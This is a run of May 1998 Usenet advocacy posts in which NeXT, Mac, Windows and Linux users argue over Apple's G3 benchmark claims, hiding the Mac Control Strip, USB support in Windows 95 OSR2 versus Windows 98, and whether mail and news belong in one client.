>And Apple did tweak the binaries themselves, they admitted so after the first
>g3 is twice as fast ad. At the bottom of the page it stated the p2 scores
>were conducted by byte, and the g3 scores were taken by apple engineers in
>apples labs. After I saw complaints that no one could match apples scores,
>I checked the web page, and strangely enough the truth was gone :(
>Now what would we say, if one day the p2 binary was replaced with a binary
>that instead of giving a p2 300 a score of 5, gave it a score of 9? ANd we
>saw that it was compiled with another compiler? I would think that intel had
>tweaked the binary for their favor, and made it invalid. And how valid is
>bytemarks if one compiler gives a score of 4.6, and another of 9.1, for the
>same computer? And what did apple do for Byte to make them remove the
>binaries that gave a score of 4.6 on a g3 266 with a binary that suddenly
>gets 9.1? Motorola 3.0 compiler isnt even available to the public. I will
>most definitely be sending some emails to byte, this is very very VERY FISHY.
>If I had a g3, I would compile the byte source in codewarrior . And I
>wonder how APple got byte to use the binary apple's engineers tweaked in
>apples lab (remember Apple's web page originally stated the g3 tests were
>done BY APple.
>If you are interested in seeing the differences, check out a mac advocates
>web page that has benchmarks, its at
>http://biochem.bio.cornell.edu/emb22/eric/bmarks/bmarks.html
>Again, I think its great if this marketing gets tons of new users. God knows
>Intel would twist the truth just like APple did. We should expect as much
>from marketing people.
>--
>Running on Openstep 4.2, the best os in the world, and about to get better!
>NeXTMail and MIME OK!
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 14:58:20 GMT
Organization: P & L Systems
Message-ID: <6iptqc$4f3$2@ironhorse.plsys.co.uk>
References: <6ip03a$di9$1@crib.bevc.blacksburg.va.us> <B1759745-221A2@206.165.43.102>
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Cc: english@primenet.com
In <B1759745-221A2@206.165.43.102> "Lawson English" wrote:
> Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>
[...]
> Actually, some research suggests that when one uses keyboard controls of
> any kind, it generally takes longer than using mouse-driven controls.
>
> This may not apply to the control strip because Fitz' Law (?) works
> differently for a floating tab then for a menu bar, but without objective
> numbers, I'm willing to bet even money that it is just as fast, if not
> faster, to use the control strip.
>
OK, I'll take you up on that.
My premise is exactly the same as Nathan's:
"For volume/up down, I can more or less instantaneously hit something like
PgUp/PgDown or Home/End or a couple of function keys. Much faster than I can
mouse down to a control strip, select a new volume or mute it, then move
back."
Personally I hate the control strip -- it was one of the things that, coming
back to the Mac after several years away, I found cluttered the interface and
detracted from its consistency. Other people seem to like it though, so
hopefully Rhapsody will provide something to suit all our tastes.
mmalc.
From: ghickenNOSPAM@ghicken.smart.net (Gary J. Hicken)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Followup-To: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Date: 6 May 1998 15:03:39 GMT
Organization: Smartnet Internet Services [via news]
Message-ID: <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net>
<6imcmk$oj1$3@ligarius.ultra.net>
<01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>
<6ioone$clv$5@ligarius.ultra.net>
<slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net>
<6ippm0$4lb$1@news0-alterdial.uu.net>
On Wed, 6 May 1998 08:48:54 -0500, M. Kilgore <mkilgore@nospam.prysm.net> wrote:
>
>Gary J. Hicken wrote in message ...
>:On Wed, 6 May 1998 00:19:16 -0400, John Saunders <jws@jws.ultranet.com>
>wrote:
>:>
>:>You can't (legally) buy OSR2 for an existing machine. If you have an
>:>existing machine and you want some of these features, then you need
>Windows
>:>98. I agree that if you buy a new machine you may have little use for
>:>Windows 98.
>:
>:I wonder if the DOJ happens to read this stuff. This sure doesn't help M$.
>
>
>Actually, to buy a legal copy of OSR2 all one need do is by a new hard
>drive at the same time. I think the intent of MS was to avoid a potential
>service nightmare as those who didn't really understand what they were
>doing tried to convert FAT16 volumes to FAT32. But just because I can think
>of a good reason for not putting FAT32 in general distribution doesn't mean
>that I enjoyed being locked out of FAT32 because other people would screw
>the installation. It's like when my cable company had a price increase... I
>asked why since the service had not been improved. The answer I got was
>"Well, you'd be suprised how many times we have to go out and tune our
>customers' tv sets for them." BULLSHIT!
>
>mark
>
>
If I bought a copy of Windows98 (if/when it becomes available,) wouldn't I
run into that problem? Or are we never to see "Windows98 Upgrade" on the
store shelves?
--
Gary Hicken
Redhat 5.0 Linux kernel 2.0.31
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 06 May 1998 10:28:29 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550819D.42C0@CONVEX.COM>
References: <6inrso$sfm$1@news.digifix.com> <B174E97A-11AF54@207.217.155.172>
<6iolmn$7sm$1@news.digifix.com> <joe.ragosta-0605980738140001@wil124.dol.net> <6iptuk$4f3$3@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
mmalcolm crawford wrote:
> > Remember that CS only takes a tiny corner of the screen when you're not
> > using it. OR, if you don't like it at all, you can turn it off. That seems
> > like it should remove most complaints.
> >
> That seems fair -- how do you switch it off?
[Working from memory]
Control Panels->Extensions Manager
Click "Control Strip" so that it's not checked.
Reboot.
MJP
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Wed, 06 May 1998 10:31:26 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <3550824E.4441@CONVEX.COM>
References: <6im4k2$9vj$1@crib.bevc.blacksburg.va.us> <B174BA20-68F78@207.217.155.172> <6ip5fr$4f3$1@ironhorse.plsys.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
mmalcolm crawford wrote:
> > My point was not personal.
> >
> Oh bollocks. You're being an asshole, why not just admit it?
I've been wondering for the past few weeks where you got that literary
quote you posted about me...it sounded like it must have been
Shakespeare. Could you point me to it?
MJP
From: Matthias Bethke <Matthias.Bethke@stud.uni-erlangen.de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Wed, 06 May 1998 17:03:17 +0200
Organization: Regionales Rechenzentrum Erlangen, Germany
Message-ID: <35507BB4.1251@stud.uni-erlangen.de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <354F45C0.9A7@stud.uni-erlangen.de> <3550A3DC.3909@zvw._REMOVE_THIS_de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Rolf Magnus wrote:
> You didn't seem to get the whole point. My point was that, if I want to
> do gaming and not only play year-old games, I need all of the windozes.
Yaeh, I did get that, but what can I say, well, that's Intel gamer's
kismet =^> There are no such problems on consoles...
ttyl!
Matthias
From: Koo <amind@pacific.net.sg>
Newsgroups: comp.sys.next.advocacy
Subject: High-density CT boards
Date: Wed, 06 May 1998 23:33:21 +0800
Organization: Subscriber of Pacific Internet, Singapore
Message-ID: <355082C1.135CC2C0@pacific.net.sg>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
I would like to know how many Computer Telephony vendors are going/supporting Rhapsody?
Date: Wed, 06 May 1998 07:41:58 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0605980741580001@wil124.dol.net>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com> <MPG.fb8d106bd4d200e9898d7@news.supernews.com> <354fed39.0@news.camtech.net.au>
In article <354fed39.0@news.camtech.net.au>, "timothyp@tne.net.au"
<timothyp@tne.net.au> wrote:
> In article <MPG.fb8d106bd4d200e9898d7@news.supernews.com> ,
don.brown@cesoft.com
> (Donald Brown) wrote:
>
> >In article <6imb64$bj7$1@news.digifix.com>, sanguish@digifix.com says...
> >> Control Strip is a horrible little UI tack-on... as is
> >> WindowShade, MenuClock, Tabbed Windows and other items that aren't
> >> cohesive parts of the User Experience..
> >>
> >IYHO, of course. I'm very fond of Control Strip and Menu Clock, and
> >WindowShade when there is that box in the title bar to handle it. IMHO,
> >of course.
> >
> >Donald
>
>
> The windowshade feature has to be apple's lamest idea ever. It was half-arsed
> to say the least. Having rolled-up windows all over the screen is a pain inthe
> ass. A better Idea would have been to have the windows iconify like X-window
> allows (not sure how NeXT does it). The windows implementation is even better
> than Apple's and that's saying something. I hope Apple does something about
> this in Rhapsody, or someone else does at least.
I've never liked Window Shades, either, but some people do. If you don't
like the feature, don't use it. Instead, use the tabbed folder feature.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Wed, 06 May 1998 07:51:38 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Message-ID: <joe.ragosta-0605980751380001@wil124.dol.net>
References: <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <199805020131472899965@sdn-ts-002txhousp16.dialsprint.net> <6ifqeo$eke$1@xmission.xmission.com> <199805060146341748300@sdn-ts-002txhousp05.dialsprint.net>
In article <199805060146341748300@sdn-ts-002txhousp05.dialsprint.net>,
drifterusa@sprintmail.com (John Bauer) wrote:
> Kristofer Jon Magnusson wrote:
>
> > I understand and accept your feelings. I believe you are a reasonable
> > person. So I do not mind explaining why I flamed Joe as I did.
>
> <explanation snipped>
>
> Thanks for the thoughtful response. I would be lying if I said that
> I've never been exasperated by Joe Ragosta. He can be stubborn and lash
> out sometimes without giving the matter at hand due consideration. But
> I also find him to be reasonable much of the time and the only person
> tireless enough to rise to the challenge of fending off the constant
> barrage of mindless attacks in c.s.m.a. NeXT advocates might not
> appreciate this last quality too much as they don't have to suffer the
> same level of juvenile criticism (from a wide and ever-changing variety
> of "Bozos") that Mac users do, but it at least explains why I sometimes
> feel compelled to rise to Joe's defense. Joe rarely exasperates me as
> much as his detractors do, and in a perverse way, I'm glad that he
> sticks in their craw -- present company excepted, of course. ;-)
Hmmm. "Stubborn and lashing out without giving due consideration"?
Coming from John Bauer (one of the voices of reason in this group), that
merits attention.
I promise--I'll try to be good. It's just so darn _hard_ some times.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Jeff.Richmond@uk.sun.comREMOVETHIS (Jeff Richmond - SUN UK - SSIR)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: 6 May 1998 15:47:56 GMT
Organization: Sun Microsystems UK
Message-ID: <6iq0nc$c0o@flonk.uk.sun.com>
References: <geordie-0505981708370001@130.130.117.53>
In article <geordie-0505981708370001@130.130.117.53>, geordie@chapman.com (Geordie Korper) writes:
>
>Mail News
>
>little categorization highly categorized
>rarely threaded mostly threaded
>low volume high volume
>mostly signal mostly noise
>high priority low priority
>
This is an excellent summary of how news and mail really are very different
beasts. Whilst they do share the similarity of being an electronic message,
the above attributes clearly show they have little else in common.
I work and deal with mail and news in totally different ways, as I think most people do. Is this purely historic? I don't think so ... if history was the only reason, someone by now would have created a killer integrated mail/news client on SOME platform.
I agree with other posters that mail and news are probably not best served by a single integrated application. It may be possible to build an integrated app but it seems to me it would be a series of compromises ... thus, less functional than separate apps. I think that Services within Rhapsody can provide all that is needed for integration.
Jeff Richmond
- standard disclaimer -
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
From: pgries@cs.toronto.edu (Paul Gries)
Subject: Re: Apple developer program
Message-ID: <1998May6.114739.12421@jarvis.cs.toronto.edu>
Organization: CS Lab, University of Toronto
References: <6inrso$sfm$1@news.digifix.com> <joe.ragosta-0605980738140001@wil124.dol.net> <6iptuk$4f3$3@ironhorse.plsys.co.uk> <3550819D.42C0@convex.com>
Date: 6 May 98 15:47:39 GMT
In article <3550819D.42C0@convex.com>, Michael Peck <MJPECK@CONVEX.COM> wrote:
>mmalcolm crawford wrote:
>
>> > Remember that CS only takes a tiny corner of the screen when you're not
>> > using it. OR, if you don't like it at all, you can turn it off. That seems
>> > like it should remove most complaints.
>> >
>> That seems fair -- how do you switch it off?
>
>[Working from memory]
>
>Control Panels->Extensions Manager
>
>Click "Control Strip" so that it's not checked.
>
>Reboot.
>
>MJP
Actually, it's a bit better:
Control Panels->Control Strip
Click "hide Control Strip".
Don't reboot.
-Paul
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 11:00:54 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35508936.514A@CONVEX.COM>
References: <6ipuoa$606$4@strato.ultra.net> <6ipvus$s9i@shelob.afs.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Gregory H. Anderson wrote:
> This is a complete red herring. Either your (new) computer has USB on
> the backplane, or it doesn't. If it does -- like my new Presario 2240,
> which arrived with OSR2 -- then the supplied operating system supports
> it.
My motherboard has a USB port. It didn't come with OSR2.
> Can you imagine anything else? Why would you put a port on the back
> of a computer that was "not yet" supported by the OS?
Reminds me of Motorola, putting parallel ports on the backs of
Macintoshes in anticipation of a CHRP MacOS. Those idiots. They know
Apple better than that.
> So I guess the argument for harm comes down to companies that make
> add-in USB cards for older computers.
Or companies that sell motherboards as upgrades.
> Certainly those who make USB
> *attachments* could start marketing to people like me right now. Though
> frankly I still don't understand what all the USB fuss is about anyway.
It's about not having to find kludgy ways to attach low-cost peripherals
to a computer. For example, how do you currently attach a scanner?
1) SCSI host adapter: cost, setup, incompatibilities
2) Parallel port: slow, proprietary, difficult to chain
How do you attach a joystick?
1) Serial port: slow, kludgy, non-standard
2) Game port: difficult to support, slow, low-capability, often
proprietary
How do you attach a tape drive?
1) IDE/SCSI: expensive
2) Floppy interface: slow, idiotic, totally kludgy, difficult to setup
How do you attach a digital camera?
1) Serial port: slow
2) SCSI: expensive, difficult to setup
And on, and on, and on, and on. Printers, QuickCams, caller ID boxes,
telephones, radios, and hundreds of other devices designed to expand the
functionality of a desktop computer all qualify for the benefits of a
high-speed, standardized, chainable serial interface.
MJP
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <6inu0b$cet$1@crib.bevc.blacksburg.va.us> <6infcq$c0h$6@ns3.vrx.net> <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> <6ip7tl$oum$7@ns3.vrx.net>
Message-ID: <35508bf4.0@news.depaul.edu>
Date: 6 May 98 16:12:36 GMT
Maury Markowitz <maury@remove_this.istar.ca> wrote:
> In <1d8kucf.12204btjdfhlmN@roxboro0-036.dyn.interpath.net> John Moreno
> claimed:
> > Mail, private. News, public.
> Amil lists are which? How about moderated newsgroups?
Mail lists would be semi-private, depending on how tightly
controlled membership is.
Moderated newsgroups are essentially public. There are
controls only on posting. Anyone can read them.
Closed, private, local newsgroups are effectively the same
as mail lists, except that articles are kept at one or more
local sites, rather than distributed to each participant.
> > This produces different methods of handling each when they are received,
> > Mails get's filtered and possibly dumped into the relevant
> > folder/mailbox/whatever
> At home one of the newsreaders I use does exactly this for news as well.
Well, if you're using flatfile news, you can easily get this.
If you're using NNTP, you don't generally want all articles
downloaded, sorted, and filed. You probably only want a few
articles filed away.
--
"... and subpoenas for all." - Ken Starr
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
From: Rik van Riel <riel@phys.uu.nl>
Subject: Re: Windoze Sux: DirectX vs NT50
Sender: usenet@fys.ruu.nl (News system Tijgertje)
Message-ID: <Pine.LNX.3.91.980506161248.3560B-100000@mirkwood.dummy.home>
In-Reply-To: <3550A11D.7A@zvw._REMOVE_THIS_de>
Date: Wed, 6 May 1998 14:17:11 GMT
Content-Type: TEXT/PLAIN; charset=US-ASCII
References: <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de>
Mime-Version: 1.0
Organization: Linux memory management wishlist.
On Wed, 6 May 1998, Rolf Magnus wrote:
> Pinochet wrote:
> > Rolf Magnus wrote in message <354F4C4F.3C93@zvw._REMOVE_THIS_de>...
> >
> > >So Microsoft is forcing the users that want to play games to buy 95,
> > >98 AND NT5.
> >
> > Nope. Sorry, you don't have to buy 95 if you can live without *some*
> > games now,
[snip]
> > >they have to force the users to buy them.
> >
> > No, they don't....in fact such an act would be counterproductive if
> > you asked me....
>
> We'll have to wait to see that, since Microsoft does it.
They'll have to. Most people hate Microsoft (mainly because
their products don't work as advertised) and don't want
to hand over any more money to Mr. Gates.
The only way to get users to upgrade to all new and exiting
bugs is by forcing them. There's a reason that there are
still so many Win 3.1(1) sites out there...
On a side note, will '98 be millenium-proof?
If it isn't it seems like enough evidence to
support the MS-forces-customers argument...
Rik.
+-------------------------------------------+--------------------------+
| Linux: - LinuxHQ MM-patches page | Scouting webmaster |
| - kswapd ask-him & complain-to guy | Vries cubscout leader |
| http://www.phys.uu.nl/~riel/ | <H.H.vanRiel@phys.uu.nl> |
+-------------------------------------------+--------------------------+
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 16:04:41 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l12gp.lgl.jedi@dementia.mishnet>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <354FFAFE.6D97E316@delphi.com> <6ipuoa$606$4@strato.ultra.net>
On Wed, 6 May 1998 11:09:39 -0400, John Saunders <jws@jws.ultranet.com> wrote:
>Jeremy Crabtree wrote in message <354FFAFE.6D97E316@delphi.com>...
>>John Saunders wrote:
>>>
>>> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
>>> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
>>> >John Saunders <jws@jws.ultranet.com> wrote:
>>> >
>>> >->Would the vendors of USB peripherals be hurt if there is no mainstream
>>> >->operating system that supports USB?
>>> >
>>> >Umm, Windows95 supports USB (as does Linux...)
>>> >
>>>
>>> I don't think so... Please provide confirmation of this. USB is being
>talked
>>> up as new in Windows 98. Maybe you mean that OSR2 supports USB?
>>
>>Exactly, Win95 supports USB. (though, the importance of USB seems to be
>>negligable as of late)
>>
>
>
>Jeremy,
>
>If I can't go to the store and buy it, then for me and for most consumers,
>it doesn't exist. I would be able to buy Windows 98. I've been reading that
>the USB hardware vendors have been waiting for a Windows 98 as a platform
>for their hardware before making a big marketing push.
This old dance certainly sound familiar. While
this sort of situation is merely vexing for
Linux, for Windows it's just something from
The Outer Limits or Twillight Zone....
From: Michael Peck <MJPECK@CONVEX.COM>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Date: Wed, 06 May 1998 11:12:49 -0500
Organization: Hewlett Packard - High Performance Systems Division, Richardson, TX USA
Message-ID: <35508C01.102F@CONVEX.COM>
References: <6icrin$6ra@newsb.netnews.att.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <6injcb$bk4$1@crib.bevc.blacksburg.va.us> <6in6mv$3of$4@ns3.vrx.net> <geordie-0505981708370001@130.130.117.53>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Geordie Korper wrote:
> Mail News
>
> little categorization highly categorized
> rarely threaded mostly threaded
> low volume high volume
> mostly signal mostly noise
> high priority low priority
My mailbox is subject to the assaults of five different high-volume
mailing lists. It looks a lot more like the right-hand column than the
left-hand column.
Rather than enforcing your own preconceived notion of the UI differences
between handling mail and news, why not let the user decide? Separating
mail and news apps is, as Maury said, a historical distinction. To
perpetuate that distinction and call it "a UI issue" is to create a
distinction that is in no way implied by the messaging schemes
themselves, and is simply a matter of your preference and habit.
MJP
From: jedi@dementia.mishnet (jedi)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 16:01:47 +0000
Organization: All USENET -- http://www.Supernews.com
Message-ID: <slrn6l12bb.lgl.jedi@dementia.mishnet>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in626$6cm$1@new-news.cc.brandeis.edu> <6iomt3$bac$2@ligarius.ultra.net> <joe.ragosta-0605980807060001@wil124.dol.net> <6ipuo9$606$3@strato.ultra.net>
On Wed, 6 May 1998 10:59:07 -0400, John Saunders <jws@jws.ultranet.com> wrote:
>Joe Ragosta wrote in message ...
>>In article <6iomt3$bac$2@ligarius.ultra.net>, "John Saunders"
>><jws@jws.ultranet.com> wrote:
>>> So when it comes to a situation where someone claims they've looked at
>all
>>> the potential problems, but they're still going to do so and such a thing
>>> for "my own good", I'm more than just skeptical. I react like someone who
>>> knows they're being lied to. Which is often the case.
>>
>>But I don't see anyone claiming to do this for your own good. The claim is
>>that they're enforcing the laws. The consequences are not their concern.
>>Nor should they be.
>>
>
>
>Joe,
>
>In my state (Massachusetts), the Attourney General is elected. He doesn't
>get re-elected by proudly stating his record of enforcing obscure anti-trust
>laws no one has ever heard of ("what's a trust?"). He will be re-elected by
I don't know about you but, my shoddy 'inner city'
public school education even managed to cover the
this topic.
From: "M. Kilgore" <mkilgore@nospam.prysm.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 11:25:39 -0500
Message-ID: <6iq2sd$b9r$1@news0-alterdial.uu.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net><6imcmk$oj1$3@ligarius.ultra.net><01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM><6ioone$clv$5@ligarius.ultra.net><slrn6l0942.114.ghickenNOSPAM@ghicken.smart.net><6ippm0$4lb$1@news0-alterdial.uu.net> <slrn6l0fc5.1ke.ghickenNOSPAM@ghicken.smart.net>
Gary J. Hicken wrote in message ...
:On Wed, 6 May 1998 08:48:54 -0500, M. Kilgore <mkilgore@nospam.prysm.net>
wrote:
snip
:>Actually, to buy a legal copy of OSR2 all one need do is by a new hard
:>drive at the same time. I think the intent of MS was to avoid a potential
:>service nightmare as those who didn't really understand what they were
:>doing tried to convert FAT16 volumes to FAT32. But just because I can
think
:>of a good reason for not putting FAT32 in general distribution doesn't
mean
:>that I enjoyed being locked out of FAT32 because other people would screw
:>the installation. It's like when my cable company had a price increase...
I
:>asked why since the service had not been improved. The answer I got was
:>"Well, you'd be suprised how many times we have to go out and tune our
:>customers' tv sets for them." BULLSHIT!
:>
:>mark
:>
:>
:
:If I bought a copy of Windows98 (if/when it becomes available,) wouldn't I
:run into that problem? Or are we never to see "Windows98 Upgrade" on the
:store shelves?
Maybe. But the hard drive capacities have changed so much since the first
release of OSR2 that maybe MS figures that everyone is either upgrading an
existing fat32 system because of new machine sales or that everyone has
already upgraded to FAT32 via other means.I haven't heard of MS prosecuting
anyone for installing fat32 over an otherwise legal copy of win95. This
could very well be one of those "wink, wink" situations where MS doesn't
officially encourage users installing FAT32 but doesn't mind if you do
because such a stance allows them "deniability" while still allowing Fat32
to make it onto existing systems. They definitely take the same sort of
approach with their "Power Toy" collection - they specifically say that
those utilities aren't supported and that you can screw things up with them
if you don't know what you're doing and yet the "Power Toy" utilities are
regularly updated.
Like I've said though, I can come up with some good reasons for MS not
generally releasing FAT32 earlier, but I was a bit resentful that it wasn't
available for download for those that were ready to accept the respnibility
for its correct installation. It was a bit out-of-character for MS because
just about every thing else concerning improvements to Win95 are easily
downloaded.
mark
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Mail.app (Re: MSNBC : NeXT-Windows compatibility issue)
Newsgroups: comp.sys.next.advocacy
References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net> <6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM> <6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM> <6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net> <6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <354E1312.20EA@CONVEX.COM> <6illkc$em7$2@cronkite.cygnus.com> <6imlnj$nkm$2@ns3.vrx.net> <354f7b55.0@news.depaul.edu> <rmcassid-0505981445420001@dante.eng.uci.edu>
Message-ID: <35508f61.0@news.depaul.edu>
Date: 6 May 98 16:27:13 GMT
Robert Cassidy <rmcassid@uci.edu> wrote:
> In article <354f7b55.0@news.depaul.edu>, Jonathan W Hendry
> <jhendry@shrike.depaul.edu> wrote:
> >Maury Markowitz <maury@remove_this.istar.ca> wrote:
> >> What do you do with your mail? You open the "folders", read the messages,
> >> reply to them. What do you do with your news? You open the "newsgroups",
> >> read the messages, reply to them.
> >
> >Yes, but people rarely have more than a couple dozen mail folders,
> >while there are tens of thousands of newsgroups. A UI that's good
> >for newsgroups is not necessarily good for mail.
> But most people don't deal with 10's of thousands of newsgroups, rather
> just a few. I have several dozen mail folders but only track 10
> newsgroups.
I tend to subscribe to a core of newsgroups, but I generally have
some other groups added in depending on my interest or problem
of the moment. And I occasionally check into other groups without
subscribing. As such, I do a fair amount of newsgroup-list browsing.
> Subscribing to a newsgroup is a separate action, as
> subscribing to a listserve really should be - email sucks as a means of
> interaction with another system. However, my newsreader (MT Newswatcher)
> deals with those 10,000 groups with the same approach as my email client
> (Emailer) deals with my mailboxes - hierarchical disclosure list. Works
> great.
My current favorite newsgroup (not article) listing/browsing UI is
probably tin, since it has very fast searching, with patterns.
Browser-style hierachies are okay too. I don't like tree-view
hierarchies, because I just don't like the way the tree changes.
(Yes, a tree Finder view does allow you to work with multiple
levels in the hierachy. Fat lot of good that does you when,
by clicking open a folder to get a file, the other files you
were interested in are now 300 items further down than they
were a second ago...)
I definitely don't like having subscribed newsgroups displayed
in a hierarchy. I prefer a list for that.
--
